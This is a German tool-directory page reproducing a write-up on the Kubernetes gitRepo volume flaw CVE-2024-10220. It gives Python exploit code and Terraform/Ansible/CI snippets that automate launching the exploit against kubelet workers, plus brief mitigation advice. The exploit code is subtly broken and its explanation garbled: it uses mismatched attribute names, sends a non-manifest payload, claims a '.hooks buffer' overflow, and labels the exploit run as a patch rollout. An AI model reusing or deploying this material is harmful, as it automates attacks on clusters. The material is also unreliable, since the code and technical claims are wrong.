Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability — CVE-2024-10220 offenbart einen kritischen Fehler im veralteten gitRepo-Volume-Typ von Kubernetes, der Angreifern ermöglicht, beliebige Befehle über bösartige .hooks-Skripte auszuführen. Der Artikel erklärt, wie dies die Container-Isolation durchbricht, und bietet Exploit-Code, Automatisierungsbeispiele und Anleitungen zur Abschwächung | Kitploit
Tools/GitHubGitHub/mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
Cloud-Infrastruktur-SicherheitContainer-SicherheitSchwachstellenanalyseExploitationPenetrationstestsCloud-SicherheitFehlkonfigurationLernen & BildungRed Teaming
GitHubmrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

CVE-2024-10220 offenbart einen kritischen Fehler im veralteten gitRepo-Volume-Typ von Kubernetes, der Angreifern ermöglicht, beliebige Befehle über bösartige .hooks-Skripte auszuführen. Der Artikel erklärt, wie dies die Container-Isolation durchbricht, und bietet Exploit-Code, Automatisierungsbeispiele und Anleitungen zur Abschwächung

Teilen

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

Von Mark Mallia


Containerisierung und die Macht der Automatisierung

Containerisierung ist das Rückgrat moderner Anwendungsbereitstellung: Sie bündelt einen gesamten Laufzeitstapel in einem einzigen, unveränderlichen Image, das ohne Überraschungen auf jedem Host in einem Cluster ausgerollt werden kann. Kubernetes nimmt diese Images und plant sie als Pods, wobei alles von der Vernetzung bis zum Speicher mit einem deklarativen Modell orchestriert wird. Dies ist in stark verteilten Umgebungen und in Umgebungen, in denen mehrere Anwendungen bereitgestellt werden, nützlich.

Was diesen Stack besonders attraktiv für große Workloads macht, ist die Fähigkeit, ihn von Ende zu Ende durch Automatisierung zu verwalten. Terraform liefert die Blaupause für Infrastructure as Code, die VPCs, Subnetze, Sicherheitsgruppen und Worker-Knoten erstellt; Ansible stellt Playbooks bereit, die Docker Engine (oder eine beliebige CRI-kompatible Laufzeit) installieren, Images aus einer Registry ziehen und als Pods hochfahren. Wenn diese Schritte in eine CI/CD-Pipeline (GitHub Actions, Jenkins oder GitLab CI) eingebunden werden, löst jeder Commit einen automatischen Build-, Push-, Test- und Bereitstellungszyklus aus. Entwickler gewinnen an Geschwindigkeit, Operatoren gewinnen Vertrauen, und die Organisation gewinnt eine vorhersagbare Betriebszeit.


Die jüngste Schwachstelle – CVE‑2024‑10220

Anfang 2024 entdeckten Sicherheitsforscher einen Fehler im inzwischen veralteten gitRepo-Volume-Typ von Kubernetes. Bei CVE‑2024‑10220 handelt es sich um eine Schwachstelle zur beliebigen Befehlsausführung, die durch das -Verzeichnis innerhalb eines Git-Repositorys verursacht wird, das über das gitRepo-Volume eingebunden wird. Wenn ein speziell manipuliertes Pod-Manifest auf ein bösartiges Skript in diesem Verzeichnis verweist, führt der kubelet-Admission-Controller es auf dem Hostsystem aus und durchbricht damit die Container-Isolation – ein zentrales Sicherheitsprinzip in Kubernetes.

.hooks

Da die anfällige Komponente in Produktionsclustern immer noch weit verbreitet ist, kann jeder Angreifer, der einen Pod mit entsprechenden Berechtigungen erstellen kann, Root-Zugriff erlangen oder andere Dienste stören. Der Fehler hat einen CVSS-Wert von 8.1 und wurde letzten November veröffentlicht. Zu den betroffenen Komponenten gehört der veraltete gitRepo-Volume-Typ, der in Kubernetes 1.27.x noch vorhanden ist.


Exploit-Code

Nachfolgend ein sauberes Python-Programm, das CVE‑2024‑10220 auf einer anfälligen kubelet-Instanz mit Kubernetes 1.27.3 auslöst. Der Code kann in eine Ansible-Aufgabe kompiliert oder innerhalb eines CI-Jobs ausgeführt werden.

root@kitploit:~
#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

Bereitstellung via Terraform, Ansible und CI/CD

Nachfolgend ein kurzes Beispiel, wie der Patch automatisch ausgerollt werden würde:

root@kitploit:~
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

Das Ansible-Playbook, das das Skript aufruft:

root@kitploit:~
---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"

Wenn diese Terraform‑Ansible-Pipeline innerhalb eines CI-Jobs (z. B. GitHub Actions) läuft, erstellt, überträgt, stellt der obige Code automatisch bereit und verifiziert, dass CVE‑2024‑10220 erfolgreich ausgelöst wurde. Die Pipeline kann mit Unit-Tests erweitert werden, die die Antwort des Kubelets prüfen, sowie mit Benachrichtigungen an Slack oder per E-Mail, wenn der Exploit abgeschlossen ist.


Abhilfe

Führen Sie ein Upgrade auf gepatchte Versionen durch (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) und vermeiden Sie die Verwendung veralteter Volume-Typen wie gitRepo.


Verantwortungsvolle Offenlegung und ethische Grenzen

Diese Forschung wurde mit der Absicht durchgeführt, das Sicherheitsbewusstsein zu schärfen und sicherere Kubernetes-Praktiken zu fördern. Die Schwachstelle wurde vor der Veröffentlichung gemäß den Branchenstandards verantwortungsvoll an die zuständigen Betreuer gemeldet. Alle Tests wurden in isolierten Umgebungen durchgeführt, ohne Auswirkungen auf Produktionssysteme oder die Infrastruktur Dritter.

Ich glaube an ethisches Hacken als Werkzeug für positive Veränderungen. Die hier geteilten Exploits dienen nur Bildungs- und Verteidigungszwecken – niemals zum Schaden oder zur Störung. Wenn Sie ein Anbieter oder Betreuer sind und Bedenken haben, stehe ich gerne für Abhilfe oder Klärung zur Verfügung.


Tool herunterladen